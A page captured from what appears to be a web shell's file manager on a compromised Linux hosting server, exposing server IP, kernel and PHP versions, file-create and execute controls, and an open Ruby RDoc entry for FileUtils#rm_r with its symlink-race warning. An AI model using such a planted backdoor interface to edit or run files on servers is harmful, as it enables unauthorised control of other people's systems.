⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
FileUtils
/
Edit File: rm_r-i.ri
U:RDoc::AnyMethod[iI" rm_r:ETI"FileUtils#rm_r;TF:privateo:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"Fremove files +list+[0] +list+[1]... If +list+[n] is a directory, ;TI"?removes its all contents recursively. This method ignores ;TI"-StandardError when :force option is set.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"'FileUtils.rm_r Dir.glob('/tmp/*') ;TI",FileUtils.rm_r 'some_dir', force: true ;T:@format0o; ; [I"5WARNING: This method causes local vulnerability ;TI"Gif one of parent directories or removing directory tree are world ;TI"Jwritable (including /tmp, whose permission is 1777), and the current ;TI"Jprocess has strong privilege such as Unix super user (root), and the ;TI"Lsystem has symbolic link. For secure removing, read the documentation ;TI"Gof remove_entry_secure carefully, and set :secure option to true. ;TI"'Default is <tt>secure: false</tt>.;T@o; ; [I"KNOTE: This method calls remove_entry_secure if :secure option is set. ;TI""See also remove_entry_secure.;T: @fileI"lib/fileutils.rb;T:0@omit_headings_from_table_of_contents_below000[ I"=(list, force: nil, noop: nil, verbose: nil, secure: nil);T@"FI"FileUtils;TcRDoc::NormalModule00
Simpan